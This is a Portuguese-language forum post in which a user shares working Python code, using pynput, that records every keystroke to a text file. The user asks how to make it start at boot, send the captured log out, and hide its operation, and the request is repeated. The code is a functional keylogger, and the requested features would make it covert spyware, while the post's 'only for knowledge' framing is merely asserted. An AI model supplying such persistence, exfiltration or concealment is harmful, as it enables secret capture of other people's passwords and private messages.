Ajuda com Keylogger em python
Olá, comecei recentemente a me aprofundar mais em python, resolvi tentar desenvolver um keylogger apenas por conhecimento. Esse foi o que eu consegui desenvolver até agora:
Foi até aqui que meu conhecimento me permitiu chegar, gostaria de saber o que eu posso fazer para melhorar esse codigo? como por exemplo:
Iniciar logo que o computador for iniciado
Enviar por algum meio os dados salvos no bloco txt
Ocultar o funcionamento do keylogger e etc..
from pynput.keyboard import Listener, Key def log(text): with open("log.txt", "a") as file_log: file_log.write(text) def monitor(key): if key == Key.enter: log("\n") try: log(key.char) except AttributeError: log(" <" +str(key)+ "> ") if key == Key.insert: return False else: print(key) with Listener(on_release=monitor) as listener: listener.join()
Foi até aqui que meu conhecimento me permitiu chegar, gostaria de saber o que eu posso fazer para melhorar esse codigo? como por exemplo:
Iniciar logo que o computador for iniciado
Enviar por algum meio os dados salvos no bloco txt
Ocultar o funcionamento do keylogger e etc..
Nielies
Curtidas 0